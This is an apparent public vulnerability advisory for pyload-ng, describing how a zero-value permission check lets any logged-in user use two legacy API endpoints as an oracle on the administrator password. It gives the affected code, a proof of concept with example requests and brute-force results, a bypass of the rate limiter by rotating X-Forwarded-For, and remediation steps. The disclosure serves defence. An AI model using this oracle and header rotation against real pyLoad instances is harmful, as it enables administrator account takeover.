GHSA-68w4-83fh-f2w8
GHSA-68w4-83fh-f2w8 · pyload-ng: getUserData/get_userdata exposed at Perms.ANY allow any authenticated account to brute-force the administrator password
This page contains facts from public vulnerability sources. Check the original advisory before updating.
## Summary `Api.getUserData` (legacy) and `Api.get_userdata` are declared with `@permission(Perms.ANY)` and are reachable at `/api/getUserData` and `/api/get_userdata`. Because `Perms.ANY == 0` and pyLoad's permission check is a bitmask AND, that gate is a no-op: **every authenticated account passes, including one holding zero permission bits.** Both methods are thin wrappers around `check_auth()`, which the maintainers deliberately restricted to administrators by omitting `@permission` (no entry in `perm_map`, so `is_authorized()` returns `False` for non-admins). The wrappers undo that protection. An attacker holding the lowest-privileged account in the system therefore has a clean binary oracle on the **administrator password**, with no account lockout anywhere in the codebase, and with the 100 req/min rate limiter bypassable by rotating `X-Forwarded-For`. ## Affected code `src/pyload/core/api/__init__.py:1446` and `:1464` ```python #: Old API @permission(Perms.ANY) @get def getUserData(self, username: str, password: str) -> OldUserData: """ similar to `check_auth` but returns UserData type. """ user = self.check_auth(username, password) ... @permission(Perms.ANY) @get def get_userdata(self, username: str, password: str) -> UserData: user = self.check_auth(username, password) ... ``` ## Root cause `src/pyload/core/api/__init__.py:57` ```python class Perms(IntFlag): ANY = 0 #: requires no permission, but login ``` `src/pyload/core/api/__init__.py:108` ```python def has_permission(user_perms: Perms, required_perms: Perms): return required_perms == (user_perms & required_perms) ``` For `required_perms == 0` this evaluates to `0 == (user_perms & 0)` → `0 == 0` → **always `True`**. The `@permission(Perms.ANY)` gate therefore admits every authenticated principal regardless of which permission bits they hold. Contrast with the intended admin-only primitive, `src/pyload/core/api/__init__.py:1396`: ```python @legacy("checkAuth") @get def check_auth(self, username: str, password: str) -> dict[str, Any]: ``` `check_auth` has **no** `@permission`; `is_authorized()` at `api/__init__.py:1430` returns `False` for non-admins. The two wrappers carry `Perms.ANY` and restore access for everyone. Because both wrappers also carry `@get`, they are placed in `method_map` and are directly routable via `/api/<func>`. ## Amplifiers **1. No lockout.** There is no failed-login counter, delay, or ban anywhere in the codebase. A failed guess costs the attacker only one PBKDF2 computation. **2. Rate limiting is bypassable.** `/api/*` applies `rate_limit(count=100, period=60)` (`src/pyload/webui/app/blueprints/api_blueprint.py:25`), which buckets on a fully client-controlled header (`src/pyload/webui/app/helpers.py:446`): ```python client_ip = flask.request.headers.get("X-Forwarded-For", "").split(",")[0].strip() \ or flask.request.remote_addr ``` Rotating `X-Forwarded-For` per request yields a fresh bucket each time. Notably, `is_loopback_request()` in the **same file** (`helpers.py:288-294`) explicitly treats the presence of `X-Forwarded-For` / `X-Real-IP` / `Forwarded` as untrustworthy — the same guard was evidently not applied inside `rate_limit()`. ## Impact Online brute force of the administrator account leading to full administrative takeover. A successful response additionally discloses the target account's `id`, `name`, `email`, `role`, and `permission` bits. ## Proof of concept Verified against 0.5.0b3, commit `a5b008958`. Setup: stock instance with admin `pyload`, plus a non-admin user `bob` created with `role=USER` and `permission=0`. **Step 1 — establish that `bob` is genuinely unprivileged:** ``` GET /api/checkAuth?username=pyload&password=pyload -> 401 {"error": "Access denied"} GET /api/getAllUserData -> 401 {"error": "Access denied"} ``` **Step 2 — the flaw. Same user, same session, `Perms.ANY` gate:** ``` GET /api/getUserData?username=pyload&password=WRONG -> 200 {"name": null, "email": null, "role": null, "permission": null, "template_name": null} GET /api/getUserData?username=pyload&password=pyload -> 200 {"name": "pyload", "email": "", "role": 0, "permission": 0, "template_name": "default"} ``` `role: 0` is `Role.ADMIN`. `get_userdata` behaves identically. This is a perfect yes/no oracle. **Step 3 — measured brute force and recovery.** Run as `bob` (`permission = 0`), admin password set to a 2-character value, `X-Forwarded-For` rotated on every request: ``` attempts : 667 elapsed : 39.7s (16.8 guesses/sec) 429 rate-limits : 0 account lockout : NONE - same session authenticated throughout RECOVERED SECRET : 'zq' (true value 'zq') match=True ``` **Step 4 — full takeover with the recovered secret:** ``` POST /login as pyload/<recovered> -> HTTP 302 (authenticated as admin) GET /api/getAllUserData (admin-only) -> HTTP 200 (full user dump) ``` Measured throughput is 17-47 guesses/sec/thread. The only bound is PBKDF2-HMAC-SHA256 at 100,000 iterations in `src/pyload/core/database/user_database.py:14`, not any rate limit. ## Suggested remediation - Remove `@permission(Perms.ANY)` from `getUserData` and `get_userdata`, or drop them entirely — they are legacy compatibility shims, and modern callers already use the admin-only `check_auth`. - Structurally: `Perms.ANY = 0` makes `has_permission()` vacuous, so **any** method decorated `@permission(Perms.ANY)` silently becomes public to every logged-in user. Give `ANY` a real bit value, or handle it explicitly in `has_permission()` as "requires an authenticated session". - Do not trust `X-Forwarded-For` unless a trusted-proxy deployment is explicitly configured. Otherwise bucket `rate_limit()` on `request.remote_addr`, or add the same guard `is_loopback_request()` already uses. - Add per-account failed-authentication throttling or lockout. - Consider `hmac.compare_digest()` in `_check_password()` (`src/pyload/core/database/user_database.py:61` uses a plain `==` on the derived hash, contradicting the "always use compare_digest" guidance two files away). ## Notes for triage There is no `0.5.0b3` release on PyPI. The `develop` branch auto-publishes dev builds (`setup.py:86` appends `.dev<build>` to the `VERSION` file); the newest at time of testing was `0.5.0b3.dev101`. The `Perms.ANY = 0` design is long-standing, but only the `0.5.0b3.dev*` line was verified here — please confirm whether `0.5.0b2.*` and `0.4.x` are affected before finalizing the version range.
CVSS 8.1 · High
- Published
- Updated
Stack: python
Affected products and versions
pyload-ng PyPI
- Versions
- 0.5.0b3.dev100
- 0.5.0b3.dev101
- 0.5.0b3.dev13
- 0.5.0b3.dev14
- 0.5.0b3.dev17
- 0.5.0b3.dev18
- 0.5.0b3.dev19
- 0.5.0b3.dev20
- 0.5.0b3.dev21
- 0.5.0b3.dev22
- 0.5.0b3.dev24
- 0.5.0b3.dev26
- 0.5.0b3.dev27
- 0.5.0b3.dev28
- 0.5.0b3.dev29
- 0.5.0b3.dev30
- 0.5.0b3.dev31
- 0.5.0b3.dev32
- 0.5.0b3.dev33
- 0.5.0b3.dev34
- 0.5.0b3.dev35
- 0.5.0b3.dev38
- 0.5.0b3.dev39
- 0.5.0b3.dev40
- 0.5.0b3.dev41
- 0.5.0b3.dev42
- 0.5.0b3.dev43
- 0.5.0b3.dev44
- 0.5.0b3.dev45
- 0.5.0b3.dev46
- 0.5.0b3.dev47
- 0.5.0b3.dev48
- 0.5.0b3.dev49
- 0.5.0b3.dev50
- 0.5.0b3.dev51
- 0.5.0b3.dev52
- 0.5.0b3.dev53
- 0.5.0b3.dev54
- 0.5.0b3.dev57
- 0.5.0b3.dev60
- 0.5.0b3.dev62
- 0.5.0b3.dev64
- 0.5.0b3.dev65
- 0.5.0b3.dev66
- 0.5.0b3.dev67
- 0.5.0b3.dev68
- 0.5.0b3.dev69
- 0.5.0b3.dev70
- 0.5.0b3.dev71
- 0.5.0b3.dev72
- 0.5.0b3.dev73
- 0.5.0b3.dev74
- 0.5.0b3.dev75
- 0.5.0b3.dev76
- 0.5.0b3.dev77
- 0.5.0b3.dev78
- 0.5.0b3.dev79
- 0.5.0b3.dev80
- 0.5.0b3.dev81
- 0.5.0b3.dev82
- 0.5.0b3.dev85
- 0.5.0b3.dev87
- 0.5.0b3.dev88
- 0.5.0b3.dev89
- 0.5.0b3.dev90
- 0.5.0b3.dev91
- 0.5.0b3.dev92
- 0.5.0b3.dev93
- 0.5.0b3.dev94
- 0.5.0b3.dev95
- 0.5.0b3.dev96
- 0.5.0b3.dev97
- 0.5.0b3.dev98
- 0.5.0b3.dev99
- Affected ranges
- ECOSYSTEM: ≥ 0.5.0b3.dev1, ≤ 0.5.0b3.dev101
No fix published